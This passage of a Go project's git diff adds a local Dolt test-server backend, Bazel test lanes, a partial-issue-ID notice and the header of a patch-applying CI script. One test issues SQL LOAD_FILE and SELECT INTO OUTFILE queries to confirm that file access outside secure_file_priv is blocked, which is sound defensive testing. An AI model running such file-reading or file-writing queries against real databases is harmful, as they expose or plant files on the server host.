OUTFILE: a local server runs as the test user +// on the host, with a passwordless root@%. +func TestLocalDoltServer_SecureFilePriv(t *testing.T) { + requireLocalDoltCLI(t) + c := startIsolatedLocalDoltServer(t) + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%s)/", c.Port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + ctx := context.Background() + + outside := filepath.Join(t.TempDir(), "secret") + if err := os.WriteFile(outside, []byte("secret"), 0o600); err != nil { + t.Fatal(err) + } + var got sql.NullString + if err := db.QueryRowContext(ctx, "SELECT LOAD_FILE(?)", outside).Scan(&got); err != nil { + t.Fatal(err) + } + if got.Valid { + t.Errorf("LOAD_FILE(%s) outside secure_file_priv = %q, want NULL", outside, got.String) + } + written := filepath.Join(filepath.Dir(outside), "written") + if _, err := db.ExecContext(ctx, "SELECT 1 INTO OUTFILE '"+written+"'"); err == nil { + t.Errorf("SELECT ... INTO OUTFILE %s outside secure_file_priv succeeded", written) + } + if _, err := os.Stat(written); !os.IsNotExist(err) { + t.Errorf("INTO OUTFILE created %s: %v", written, err) + } + + inside := filepath.Join(c.local.secureFilePrivDir(), "ok") + if err := os.WriteFile(inside, []byte("ok"), 0o600); err != nil { + t.Fatal(err) + } + if err := db.QueryRowContext(ctx, "SELECT LOAD_FILE(?)", inside).Scan(&got); err != nil || got.String != "ok" { + t.Errorf("LOAD_FILE inside secure_file_priv = %q, %v; want \"ok\"", got.String, err) + } +} + +func TestSweepDeadLocalServerRoots(t *testing.T) { + base := t.TempDir() + const livePID, deadPID = 1001, 1002 + mk := func(name, marker string) string { + t.Helper() + p := filepath.Join(base, name) + if err := os.MkdirAll(filepath.Join(p, "data", "beads_test"), 0o700); err != nil { + t.Fatal(err) + } + if marker != "" { + if err := os.WriteFile(filepath.Join(p, localRootOwnerFile), []byte(marker), 0o600); err != nil { + t.Fatal(err) + } + } + return p + } + deadServer := mk("bdt-dolt-1", strconv.Itoa(deadPID)+"\n") + deadVersion := mk("bdt-doltver-1", strconv.Itoa(deadPID)) + live := mk("bdt-dolt-2", strconv.Itoa(livePID)) + noMarker := mk("bdt-dolt-3", "") + garbage := mk("bdt-dolt-4", "not a pid") + foreign := mk("other-dolt-1", strconv.Itoa(deadPID)) + target := mk("target", strconv.Itoa(deadPID)) + link := filepath.Join(base, "bdt-dolt-5") + if err := os.Symlink(target, link); err != nil { + t.Fatal(err) + } + + alive := func(pid int) bool { return pid == livePID } + swept := sweepDeadLocalServerRoots(base, alive) + sort.Strings(swept) + want := []string{deadServer, deadVersion} + if fmt.Sprint(swept) != fmt.Sprint(want) { + t.Errorf("swept %v, want %v", swept, want) + } + for _, p := range want { + if _, err := os.Lstat(p); !os.IsNotExist(err) { + t.Errorf("%s not removed: %v", p, err) + } + } + for _, p := range []string{live, noMarker, garbage, foreign, target, link} { + if _, err := os.Lstat(p); err != nil { + t.Errorf("%s must be left alone: %v", p, err) + } + } + if got := sweepDeadLocalServerRoots(base, alive); len(got) != 0 { + t.Errorf("second sweep removed %v", got) + } +} + +func TestLocalRootOwnerMarker(t *testing.T) { + root := t.TempDir() + if _, ok := readLocalRootOwner(root); ok { + t.Fatal("marker reported in an empty root") + } + if err := writeLocalRootOwner(root); err != nil { + t.Fatal(err) + } + if pid, ok := readLocalRootOwner(root); !ok || pid != os.Getpid() { + t.Errorf("readLocalRootOwner = %d, %v; want %d, true", pid, ok, os.Getpid()) + } + if !processAlive(os.Getpid()) { + t.Error("processAlive(self) = false") + } +} + +// The server's own dolt global config turns off the release check and usage +// events: a hermetic test action must not depend on (or phone) the network. +func TestLocalDoltServer_NoNetworkCallsConfigured(t *testing.T) { + requireLocalDoltCLI(t) + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer os.RemoveAll(s.root) + b, err := os.ReadFile(filepath.Join(s.root, "home", ".dolt", "config_global.json")) + if err != nil { + t.Fatal(err) + } + for _, k := range []string{`"metrics.disabled":"true"`, `"versioncheck.disabled":"true"`} { + if !strings.Contains(string(b), k) { + t.Errorf("server dolt global config lacks %s: %s", k, b) + } + } +} + +func TestDoltBackendSelection(t *testing.T) { + for _, tc := range []struct { + val, srcdir string + local bool + bad bool + }{ + {"", "", false, false}, + {"", "/runfiles", false, false}, // bazel: local only when a target or --test_env asks + {"local", "/runfiles", true, false}, + {"container", "/runfiles", false, false}, + {"local", "", true, false}, + {"docker", "", false, true}, + } { + t.Run(tc.val+"/"+strconv.Quote(tc.srcdir), func(t *testing.T) { + t.Setenv(EnvDoltServerBackend, tc.val) + t.Setenv("TEST_SRCDIR", tc.srcdir) + if got := useLocalDoltServer(); got != tc.local { + t.Errorf("useLocalDoltServer() = %v, want %v", got, tc.local) + } + if got := doltBackendErr() != nil; got != tc.bad { + t.Errorf("doltBackendErr() != nil = %v, want %v", got, tc.bad) + } + }) + } +} diff --git a/internal/testutil/testdoltcommon.go b/internal/testutil/testdoltcommon.go index 3658bfcc5..3b8c0a959 100644 --- a/internal/testutil/testdoltcommon.go +++ b/internal/testutil/testdoltcommon.go @@ -15,6 +15,28 @@ import ( // DoltDockerImage is the Docker image used for Dolt test containers. const DoltDockerImage = "dolthub/dolt-sql-server:2.2.0" +// EnvRequireDoltContainer, set to "1", turns an unavailable Dolt test server +// (either backend, see BEADS_TEST_DOLT_SERVER) into a failure instead of a +// skip: in RequireDoltContainer and StartIsolatedDoltContainer(Handle), and in +// every TestMain through DoltUnavailableForTestMain. Lanes that exist to run +// the Dolt server suites set it so they cannot pass green having run nothing +// (and, under Bazel, have that vacuous pass cached and shared). +const EnvRequireDoltContainer = "BEADS_TEST_REQUIRE_DOLT_CONTAINER" + +// DoltUnavailableForTestMain handles an EnsureDoltContainerForTestMain error +// in a TestMain and reports whether the TestMain must exit non-zero. By +// default it prints the historical warning and returns false, so the package +// runs and its Dolt tests skip. With BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 it +// prints a FATAL line and returns true. +func DoltUnavailableForTestMain(err error) bool { + if os.Getenv(EnvRequireDoltContainer) == "1" { + fmt.Fprintf(os.Stderr, "FATAL: %v, but %s=1; this lane must not skip its Dolt tests\n", err, EnvRequireDoltContainer) + return true + } + fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + return false +} + // RequireDoltBinary ensures the `dolt` CLI binary is available, and honors // BEADS_TEST_SKIP=dolt for tests that also depend on the shared // containerized Dolt SQL server. The test is skipped locally when dolt is diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index 367a0be70..c8a8616fa 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -24,6 +24,7 @@ import ( // doltServer represents a running test Dolt container instance. type doltServer struct { container *dolt.DoltContainer + local *localDoltServer // set instead of container by the local backend } // serverStartTimeout is the max time to wait for the test Dolt server to accept connections. @@ -55,8 +56,12 @@ const ( doltWrongVersion // image exists but wrong tag doltSkipped // explicit opt-out via BEADS_TEST_SKIP doltReady // ready to start containers + doltNoLocalCLI // local backend: pinned dolt CLI missing or wrong version, or a bad backend name ) +// doltLocalCLIErr explains doltNoLocalCLI. +var doltLocalCLIErr error + func (d doltReadiness) String() string { switch d { case doltNoDocker: @@ -69,6 +74,8 @@ func (d doltReadiness) String() string { return "Dolt tests skipped (BEADS_TEST_SKIP=dolt)" case doltReady: return "Dolt ready" + case doltNoLocalCLI: + return fmt.Sprintf("local Dolt test server backend unavailable: %v", doltLocalCLIErr) default: return fmt.Sprintf("unknown dolt readiness state: %d", int(d)) } @@ -98,13 +105,6 @@ func hasTestSkip(service string) bool { return false } -// EnvRequireDoltContainer, set to "1", turns a missing Dolt test container into -// a test failure instead of a skip in RequireDoltContainer and -// StartIsolatedDoltContainer(Handle). Lanes that exist to run the container -// suites (Bazel's requires-docker variants) set it so they cannot pass green -// having run nothing. -const EnvRequireDoltContainer = "BEADS_TEST_REQUIRE_DOLT_CONTAINER" - func skipOrFailDoltUnavailable(t *testing.T, state doltReadiness) { t.Helper() if os.Getenv(EnvRequireDoltContainer) == "1" { @@ -123,6 +123,20 @@ func checkDolt() doltReadiness { doltCached = doltSkipped return } + if err := doltBackendErr(); err != nil { + doltLocalCLIErr = err + doltCached = doltNoLocalCLI + return + } + if useLocalDoltServer() { + if _, err := resolveLocalDoltBinary(); err != nil { + doltLocalCLIErr = err + doltCached = doltNoLocalCLI + return + } + doltCached = doltReady + return + } if !isDockerAvailable() { return // doltCached zero value is doltNoDocker } @@ -154,6 +168,15 @@ func isDoltRepoImageCached() bool { // startDoltContainer starts the singleton Dolt container. func startDoltContainer() error { + if useLocalDoltServer() { + s, err := startLocalDoltServer() + if err != nil { + return fmt.Errorf("starting local Dolt server: %w", err) + } + doltTestPort = strconv.Itoa(s.Port()) + doltSingletonSrv = &doltServer{local: s} + return nil + } ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() @@ -253,6 +276,10 @@ func terminateSharedContainer() { // holds doltServerMu. It does not consume doltTerminateOnce, so a later // replacement can still be removed by TerminateDoltContainer. func stopSharedContainerLocked() { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + doltSingletonSrv.local.terminate() + doltSingletonSrv.local = nil + } if doltSingletonSrv != nil && doltSingletonSrv.container != nil { _ = testcontainers.TerminateContainer(doltSingletonSrv.container) doltSingletonSrv.container = nil @@ -313,11 +340,15 @@ type IsolatedDoltContainer struct { // Port is the mapped host port of the container's Dolt server. Port string - ctr *dolt.DoltContainer + ctr *dolt.DoltContainer + local *localDoltServer // local backend instead of ctr } // Stop pauses the container while retaining its data volume. func (c *IsolatedDoltContainer) Stop(ctx context.Context) error { + if c != nil && c.local != nil { + return c.local.stop() + } if c == nil || c.ctr == nil { return fmt.Errorf("no Dolt container running") } @@ -326,6 +357,9 @@ func (c *IsolatedDoltContainer) Stop(ctx context.Context) error { // Start resumes a container previously stopped with Stop. func (c *IsolatedDoltContainer) Start(ctx context.Context) error { + if c != nil && c.local != nil { + return c.local.restart() + } if c == nil || c.ctr == nil { return fmt.Errorf("no Dolt container running") } @@ -335,6 +369,9 @@ func (c *IsolatedDoltContainer) Start(ctx context.Context) error { // CurrentPort returns the container's currently mapped SQL port. Container // runtimes may assign a new host port after Stop/Start. func (c *IsolatedDoltContainer) CurrentPort(ctx context.Context) (string, error) { + if c != nil && c.local != nil { + return strconv.Itoa(c.local.Port()), nil + } if c == nil || c.ctr == nil { return "", fmt.Errorf("no Dolt container running") } @@ -346,8 +383,14 @@ func (c *IsolatedDoltContainer) CurrentPort(ctx context.Context) (string, error) } // Exec runs cmd inside the container and returns its exit code and combined -// output, demultiplexed (see containerExec). +// output, demultiplexed (see containerExec). Its working directory is the +// server's data directory (the image's WORKDIR, /var/lib/dolt); with the local +// backend cmd runs on the host in the local server's data directory, so +// commands must address the data through relative paths. func (c *IsolatedDoltContainer) Exec(ctx context.Context, cmd []string) (int, string, error) { + if c != nil && c.local != nil { + return c.local.execInDataDir(ctx, cmd) + } if c == nil || c.ctr == nil { return 0, "", fmt.Errorf("no Dolt container running") } @@ -367,6 +410,28 @@ func StartIsolatedDoltContainerHandle(t *testing.T) *IsolatedDoltContainer { skipOrFailDoltUnavailable(t, state) } + if useLocalDoltServer() { + return startIsolatedLocalDoltServer(t) + } + return startIsolatedDoltContainer(t) +} + +// startIsolatedLocalDoltServer is StartIsolatedDoltContainerHandle for the +// local backend, without the readiness gate. +func startIsolatedLocalDoltServer(t *testing.T) *IsolatedDoltContainer { + t.Helper() + s, err := startLocalDoltServer() + if err != nil { + t.Fatalf("starting local Dolt server: %v", err) + } + t.Cleanup(s.terminate) + return &IsolatedDoltContainer{Port: strconv.Itoa(s.Port()), local: s} +} + +// startIsolatedDoltContainer is StartIsolatedDoltContainerHandle for the +// container backend, without the readiness gate. +func startIsolatedDoltContainer(t *testing.T) *IsolatedDoltContainer { + t.Helper() ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() ctr, err := dolt.Run(ctx, DoltDockerImage, @@ -469,6 +534,10 @@ func TerminateDoltContainer() { // DoltContainerCrashed returns true if the shared container has exited unexpectedly. // Returns false if no container was started. func DoltContainerCrashed() bool { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + gone, _ := doltSingletonSrv.local.exited() + return gone + } if doltSingletonSrv == nil || doltSingletonSrv.container == nil { return false } @@ -482,6 +551,12 @@ func DoltContainerCrashed() bool { // DoltContainerCrashError returns an error if the shared container has exited // unexpectedly, nil otherwise. func DoltContainerCrashError() error { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + if gone, err := doltSingletonSrv.local.exited(); gone { + return fmt.Errorf("local Dolt server exited (%v); log: %s", err, doltSingletonSrv.local.logSince(0)) + } + return nil + } if doltSingletonSrv == nil || doltSingletonSrv.container == nil { return nil } diff --git a/internal/testutil/testdoltserver_env_test.go b/internal/testutil/testdoltserver_env_test.go index 17aa1afa7..6810489d7 100644 --- a/internal/testutil/testdoltserver_env_test.go +++ b/internal/testutil/testdoltserver_env_test.go @@ -1,3 +1,5 @@ +//go:build !windows + package testutil import ( diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index a4decc1f1..e0cadf8b6 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "tracker", @@ -58,3 +59,52 @@ go_test( "//internal/types", ], ) + +# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it: no +# -short and no BEADS_TEST_SKIP=dolt, so TestMain starts the shared dolt +# sql-server container, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing +# container into a failure instead of a suite of skips. tracker_test itself +# stays untagged: under --config=prcore its Dolt-backed tests skip. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "tracker_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :tracker_test)"], + data = [":tracker_test"], + env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + +# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it (no +# -short; TestMain starts the shared server), on the dolt-server lane: the +# server is a local `dolt sql-server` child of the test process. +# BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 makes TestMain exit 1 if it cannot start, +# instead of WARN-skipping the suite. tracker_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "tracker_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :tracker_test)"], + data = [":tracker_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 2a1060557..0fa79e36d 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "conformance", @@ -26,3 +27,27 @@ go_test( "//internal/types", ], ) + +# conformance_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "conformance_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :conformance_test)"], + data = [":conformance_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) diff --git a/internal/tracker/testmain_test.go b/internal/tracker/testmain_test.go index 82b090e91..dcff65085 100644 --- a/internal/tracker/testmain_test.go +++ b/internal/tracker/testmain_test.go @@ -41,7 +41,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow tracker tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 711268577..1c89dd4c8 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -13,6 +13,7 @@ go_library( importpath = "github.com/steveyegge/beads/internal/utils", visibility = ["//:__subpackages__"], deps = [ + "//internal/debug", "//internal/types", ] + select({ "@rules_go//go/platform:darwin": [ diff --git a/internal/utils/id_parser.go b/internal/utils/id_parser.go index 9f3d38f78..2f19cac48 100644 --- a/internal/utils/id_parser.go +++ b/internal/utils/id_parser.go @@ -5,9 +5,11 @@ import ( "context" "errors" "fmt" + "os" "sort" "strings" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/types" ) @@ -224,7 +226,50 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s return "", fmt.Errorf("%w: %q matches %d issues: %v\nUse more characters to disambiguate", ErrAmbiguousID, input, len(matches), matches) } - return matches[0], nil + // Sole leading-prefix match. Every other return from this function is an + // exact match (or a prefix-normalized exact match), so this is the one path + // that hands back an issue the caller did not name. + resolved := matches[0] + if shouldNotifyPartialResolution(input, resolved, debug.IsQuiet(), os.Getenv("BD_NO_PARTIAL_ID_NOTICE")) { + emitPartialResolutionNotice(input, resolved) + } + return resolved, nil +} + +// shouldNotifyPartialResolution is the testable predicate behind the +// partial-resolution notice. It takes the quiet flag and the suppression env +// value as parameters so tests can cover every combination, the same shape as +// shouldWarnImplicitBlocksDefault in cmd/bd/dep.go. +// +// Deliberately NOT gated on stderr being a terminal, which is where it departs +// from that precedent. The implicit-blocks warning tells an interactive +// operator about a default they chose; this one tells a caller that the issue +// it is about to act on is not the issue it named, and the callers most exposed +// to that — scripts, hooks and agents — are exactly the non-TTY ones. Gating on +// a TTY would silence it precisely where it is most needed. +func shouldNotifyPartialResolution(input, resolved string, quiet bool, noNotifyEnv string) bool { + if resolved == "" || resolved == input { + return false + } + // --quiet is documented as "Suppress non-essential output (errors only)", + // matching how the other non-error stderr notices behave. + if quiet { + return false + } + // Explicit opt-out, following the BD_NO_DEP_TYPE_WARNING precedent. + if noNotifyEnv != "" { + return false + } + return true +} + +// emitPartialResolutionNotice writes the notice. Split from the gate so the +// message text can be asserted under a captured stderr. +// +// stderr, never stdout: --json payloads and piped stdout stay byte-for-byte +// unchanged, so this cannot break a parsing caller. +func emitPartialResolutionNotice(input, resolved string) { + fmt.Fprintf(os.Stderr, "note: %q is not an exact issue ID; resolved to %s (silence with --quiet or BD_NO_PARTIAL_ID_NOTICE=1)\n", input, resolved) //nolint:gosec // G705: stderr, not a browser context } func partialIDSearchPart(hashPart string) (string, bool) { diff --git a/internal/utils/id_parser_unit_test.go b/internal/utils/id_parser_unit_test.go index 17a503c0d..8d251361f 100644 --- a/internal/utils/id_parser_unit_test.go +++ b/internal/utils/id_parser_unit_test.go @@ -1,6 +1,14 @@ package utils -import "testing" +import ( + "context" + "io" + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) func TestPartialIDSearchPartUsesLastHyphenSuffix(t *testing.T) { got, ok := partialIDSearchPart("hacker-news-ko4") @@ -36,3 +44,211 @@ func TestPartialIDSearchPartRejectsInvalidSearchText(t *testing.T) { } } } + +// --- partial-resolution notice ------------------------------------------------- + +func TestShouldNotifyPartialResolution(t *testing.T) { + tests := []struct { + name string + input string + resolved string + quiet bool + noNotify string + wantNotify bool + }{ + {"non-exact match notifies", "bd-x.11", "bd-x.11.1", false, "", true}, + {"identical resolution is silent", "bd-x.11", "bd-x.11", false, "", false}, + {"empty resolution is silent", "bd-x.11", "", false, "", false}, + {"quiet suppresses", "bd-x.11", "bd-x.11.1", true, "", false}, + {"env opt-out suppresses", "bd-x.11", "bd-x.11.1", false, "1", false}, + {"quiet and env together suppress", "bd-x.11", "bd-x.11.1", true, "1", false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := shouldNotifyPartialResolution(tt.input, tt.resolved, tt.quiet, tt.noNotify) + if got != tt.wantNotify { + t.Fatalf("shouldNotifyPartialResolution(%q, %q, quiet=%v, env=%q) = %v, want %v", + tt.input, tt.resolved, tt.quiet, tt.noNotify, got, tt.wantNotify) + } + }) + } +} + +func TestEmitPartialResolutionNoticeNamesBothIDs(t *testing.T) { + out := captureStderr(t, func() { + emitPartialResolutionNotice("bd-x.11", "bd-x.11.1") + }) + for _, want := range []string{"bd-x.11", "bd-x.11.1", "not an exact issue ID", "BD_NO_PARTIAL_ID_NOTICE"} { + if !strings.Contains(out, want) { + t.Fatalf("notice %q does not contain %q", out, want) + } + } +} + +// fakeResolverStore is a minimal PartialIDResolverStore over an in-memory ID +// list. It avoids the live-Dolt dependency in id_parser_test.go, which skips +// when no test server is running and so cannot pin this behaviour in CI. +type fakeResolverStore struct { + ids []string + prefix string + allowed string // allowed_prefixes config, for cross-prefix cases +} + +func (f *fakeResolverStore) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) ([]*types.Issue, error) { + var out []*types.Issue + for _, want := range filter.IDs { + for _, id := range f.ids { + if id == want { + out = append(out, &types.Issue{ID: id}) + } + } + } + return out, nil +} + +// SearchIssueIDs mimics the storage layer's `id LIKE %query%` filtering. +func (f *fakeResolverStore) SearchIssueIDs(_ context.Context, query string, _ types.IssueFilter) ([]string, error) { + var out []string + for _, id := range f.ids { + if query == "" || strings.Contains(id, query) { + out = append(out, id) + } + } + return out, nil +} + +func (f *fakeResolverStore) GetConfig(_ context.Context, key string) (string, error) { + switch key { + case "issue_prefix": + return f.prefix, nil + case "allowed_prefixes": + return f.allowed, nil + } + return "", nil +} + +// A renamed parent leaves its child carrying the old prefix, so the vacated +// parent ID resolves to that child by leading-prefix abbreviation. The caller +// must be told it did not get the ID it named. +func TestResolvePartialIDNotifiesWhenParentIDResolvesToItsChild(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-x.11.1"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "bd-x.11") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-x.11.1" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-x.11.1") + } + if !strings.Contains(out, "bd-x.11.1") || !strings.Contains(out, "not an exact issue ID") { + t.Fatalf("expected a partial-resolution notice on stderr, got %q", out) + } +} + +// Reaching the in-loop exact-hash return needs a CROSS-PREFIX input: both +// fast paths (raw input, then prefix-normalized input) miss, because the +// issue's real prefix is an allowed one that is not the configured default, so +// resolution falls through to the search loop and matches on hash alone. That +// return is a second silent exit, and an emission planted there survives any +// test that only exercises the fast paths. +func TestResolvePartialIDSilentOnCrossPrefixExactHashMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"hq-a3f8e9"}, prefix: "bd", allowed: "hq"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "a3f8e9") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "hq-a3f8e9" { + t.Fatalf("resolved = %q, want %q", resolved, "hq-a3f8e9") + } + if out != "" { + t.Fatalf("expected no notice for an exact hash match, got %q", out) + } +} + +// A prefix-less exact input is still silent, via the normalized fast path. +func TestResolvePartialIDSilentOnPrefixlessExactMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-a3f8e9"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "a3f8e9") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-a3f8e9" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-a3f8e9") + } + if out != "" { + t.Fatalf("expected no notice for an exact match, got %q", out) + } +} + +// The documented abbreviation path notifies too — this is not limited to the +// parent/child shape, and the CHANGELOG says so. +func TestResolvePartialIDNotifiesOnOrdinaryAbbreviation(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-a3f8e9"}, prefix: "bd"} + + out := captureStderr(t, func() { + if _, err := ResolvePartialID(context.Background(), store, "a3f8"); err != nil { + t.Errorf("ResolvePartialID returned error: %v", err) + } + }) + if !strings.Contains(out, "bd-a3f8e9") { + t.Fatalf("expected a notice naming the resolved ID, got %q", out) + } +} + +func TestResolvePartialIDSilentOnExactMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-x.11", "bd-x.11.1"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "bd-x.11") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-x.11" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-x.11") + } + if out != "" { + t.Fatalf("expected no notice for an exact match, got %q", out) + } +} + +func captureStderr(t *testing.T, fn func()) string { + t.Helper() + orig := os.Stderr + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + // Restore even if fn panics, so one failure cannot swallow every later + // test's stderr. Both pipe ends are closed before returning. + defer func() { + os.Stderr = orig + _ = r.Close() + }() + os.Stderr = w + done := make(chan string, 1) + go func() { + var sb strings.Builder + _, _ = io.Copy(&sb, r) + done <- sb.String() + }() + fn() + _ = w.Close() + return <-done +} diff --git a/internal/utils/path_case_darwin.go b/internal/utils/path_case_darwin.go index b849abb7e..4ec783ae1 100644 --- a/internal/utils/path_case_darwin.go +++ b/internal/utils/path_case_darwin.go @@ -52,7 +52,8 @@ func canonicalCaseFast(path string) (string, error) { buf := make([]byte, unix.PathMax) // F_GETPATH has no typed wrapper in x/sys/unix: it writes a NUL-terminated // path of up to MAXPATHLEN bytes into the buffer named by the third arg. - _, _, errno := unix.Syscall( // nolint:gosec // buf is a live []byte of PathMax bytes, the exact contract F_GETPATH requires + //nolint:gosec // G103: buf is a live []byte of PathMax bytes, the exact contract F_GETPATH requires. + _, _, errno := unix.Syscall( unix.SYS_FCNTL, uintptr(fd), uintptr(unix.F_GETPATH), diff --git a/internal/utils/testmain_test.go b/internal/utils/testmain_test.go index ea9634337..4f2370666 100644 --- a/internal/utils/testmain_test.go +++ b/internal/utils/testmain_test.go @@ -3,7 +3,6 @@ package utils import ( - "fmt" "os" "testing" @@ -24,7 +23,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow utils tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() DoltTestServerPort = testutil.DoltContainerPortInt() diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 5ca9587b2..97c480e59 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -17,8 +17,10 @@ load("@rules_go//go:def.bzl", "go_test") go_test( name = "scripts_test", srcs = [ + "bazel_autofix_push_test.go", "bazel_policy_test.go", "check_build_tags_test.go", + "check_doc_freshness_test.go", "check_testing_short_test.go", "ci_capability_selector_test.go", "ci_workflow_apt_get_timeout_test.go", @@ -27,9 +29,11 @@ go_test( "conformance_script_test.go", "host_tools_test.go", "install_dolt_test.go", + "pr_preflight_test.go", "pull_dolt_image_test.go", "release_script_test.go", "test_script_test.go", + "upgrade_smoke_loop_test.go", ], data = [ ":scripts_files", diff --git a/scripts/bazel-autofix-push.sh b/scripts/bazel-autofix-push.sh new file mode 100755 index 000000000..2af204d89 --- /dev/null +++ b/scripts/bazel-autofix-push.sh @@ -0,0 +1,493 @@ +#!/usr/bin/env bash +# bazel-autofix-push.sh - apply a CI-generated `make bazel-sync` patch +# (BUILD.bazel / MODULE.bazel / MODULE.bazel.lock) to a PR branch, or fall +# back to an instructive PR comment when pushing is not possible. +# +# Runs on the PRIVILEGED side of the bazel-autofix workflow_run pipeline: the +# checkout is always the base repository's default branch (trusted code), and +# the patch produced by the unprivileged PR build (scripts/ci/bazel-sync-patch.sh +# in bazel.yml) is treated as UNTRUSTED DATA. Confinement is layered: +# * the path allowlist below pins WHICH files a patch may name (anchored +# regex, no hidden or `..` segments, nothing under third_party/); +# * any mode line, symlink, rename/copy or binary hunk is refused, so only +# regular 100644 files are created, edited or deleted; +# * the patch is applied to an index only (`git read-tree` + `git apply +# --cached` in a bare clone): the PR tree is never written to disk, and +# git's own guards reject `..`/absolute paths and in-patch symlinks; +# * the staged result is re-checked against the same allowlist; +# * only files in packages the PR itself changed are pushed, so drift that +# main introduced is never pushed onto an unrelated 